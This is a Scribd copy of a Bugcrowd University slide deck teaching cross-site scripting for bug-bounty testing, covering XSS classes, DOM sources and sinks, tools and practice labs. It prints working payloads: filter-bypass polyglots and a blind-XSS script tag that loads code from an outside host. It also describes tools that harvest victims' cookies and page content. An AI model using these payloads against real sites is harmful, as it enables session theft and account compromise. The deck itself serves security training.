Scribd
Upload
103 views

Bugcrowd University - Cross Site Scripting

This document provides an overview of a training module on cross-site scripting (XSS). The module includes readings on XSS, an introduction to XSS and its different classes, examples of classic XSS attacks, best practices, advances in XSS including DOM-based XSS and polyglots, tools for XSS testing, labs for hands-on practice, and references. The module is intended to educate users on XSS vulnerabilities and techniques.

Uploaded by

anon_929798114
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
103 views

Bugcrowd University - Cross Site Scripting

This document provides an overview of a training module on cross-site scripting (XSS). The module includes readings on XSS, an introduction to XSS and its different classes, examples of classic XSS attacks, best practices, advances in XSS including DOM-based XSS and polyglots, tools for XSS testing, labs for hands-on practice, and references. The module is intended to educate users on XSS vulnerabilities and techniques.

Uploaded by

anon_929798114
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 29

Cross Site Scripting

Bugcrowd University
Module Trainer

● JP Villanueva - @swagnetow
● Trust & Security Engineer @Bugcrowd
● Programmer, hacker, speaker, gamer!
Module Outline

1. Module Reading
2. Introduction to XSS
3. Classic Examples of XSS
4. Best Practices
5. Advances in XSS
6. Tools
7. Labs
8. Resources and References
Module Reading
● Web Application Hacker’s Handbook (2nd Edition)
○ Chapter 12 - Attacking Users: Cross-Site Scripting
● OWASP Testing Guide 4.0
○ 4.8.1 Testing for Reflected Cross Site Scripting
(OTG-INPVAL-001)
○ 4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)
○ 4.12.1 Testing for DOM based Cross Site Scripting
(OTG-CLIENT-001)
● Mozilla Developer Network - Web Docs
○ Introduction to the DOM
Introduction
Introduction to Cross Site Scripting

● History
● What is it?
● When/Where do you find it?
● How do you find it
● How impactful is this?
● What can you do with XSS?
Classes of XSS
Classes of XSS

● Reflective XSS
● Stored XSS
● DOM XSS
● Blind XSS
● Flash-based XSS
● Self XSS
Classic Examples of XSS
Myspace Worm - Stored XSS

● https://samy.pl/popular/tech.html
Tweetdeck Worm - Stored XSS

● https://threatpost.com/tweetdeck-taken-down-in-wake-of-xss-attacks/106597/
Best Practices
Best Practices Injections
“
“>
● Start slow! “><>
● Don’t get discouraged! “><script>
“></script>
● Keep a list of common payloads “><script>alert(1)</script>
“><script>confirm(1)</script>
● Use Burp Intruder ...
Advances in XSS
Advances in XSS

● DOM XSS
● XSS Polyglots
● Blind XSS
DOM XSS - What to Look For?

Sources: Sinks:
document.url element.innerHTML()
document.referrer element.outerHTML()
location eval()
location.href setTimeout()
location.search setInterval()
location.hash document.write()
location.pathname document.writeln()
DOM XSS - What Does It Look Like?
XSS Polyglot #1 (RSnake)

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,
83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromChar
Code(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(
88,83,83))</SCRIPT>

Multi-context, filter bypass based polyglot payload #1 (OWASP XSS Cheat Sheet)
XSS Polyglot #2 (0xsobky)

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

● https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
XSS Polyglot #3 (Ashar Javed)

'">><marquee><img src=x
onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse
over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/)
type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&
lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img
src="http://i.imgur.com/P8mL8.jpg">

● Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
Blind XSS
G
BU

1 Jamie: I really
enjoy my super
Frans: I really admin access
enjoy my NEW this morning !!!
super admin
access this
morning !!! “><script src=//y.vg></script> 2
4

l !!#!
vascript shel
Y.vg is a a ja

3
Tooling
Tooling

● Blind XSS
○ XSS Hunter
○ Sleepy Puppy
○ KnoXSS
XSSHunter (Blind)

Payload:

● The vulnerable page's URI


● Origin of Execution
● The Victim's IP Address
● The Page Referer
● The Victim's User Agent
● All Non-HTTP-Only Cookies
● The Page's Full HTML DOM
● Full Screenshot of the
Affected Page
● Responsible HTTP Request
(If an XSS Hunter compatible
tool is used)

Nods to BeeF & XSShell


Other Blind XSS Frameworks

u p p or t
SMS S
Jackmasa’s XSS
Mindmap

https://github.com/jhaddix/XSS.png
Labs
Labs
bWapp Section - A3 - Cross-Site Scripting (XSS)

Cross-Site Scripting - Reflected (GET)


Cross-Site Scripting - Reflected (POST)
Cross-Site Scripting - Reflected (JSON)
Cross-Site Scripting - Reflected (AJAX/JSON)
Cross-Site Scripting - Reflected (AJAX/XML)
Cross-Site Scripting - Reflected (Back Button)
Cross-Site Scripting - Reflected (Custom Header)
Cross-Site Scripting - Reflected (Eval)
Cross-Site Scripting - Reflected (HREF)
Cross-Site Scripting - Reflected (Login Form)
Cross-Site Scripting - Reflected (phpMyAdmin)
Cross-Site Scripting - Reflected (PHP_SELF)
Cross-Site Scripting - Reflected (Referer)
Cross-Site Scripting - Reflected (User-Agent)
Cross-Site Scripting - Stored (Blog)
Cross-Site Scripting - Stored (Change Secret)
Cross-Site Scripting - Stored (Cookies)
Cross-Site Scripting - Stored (SQLiteManager)
Cross-Site Scripting - Stored (User-Agent)
Additional Labs
Pentesterlab
● XSS and MYSQL FILE
● Web for Pentester
● Web for Pentester II

You might also like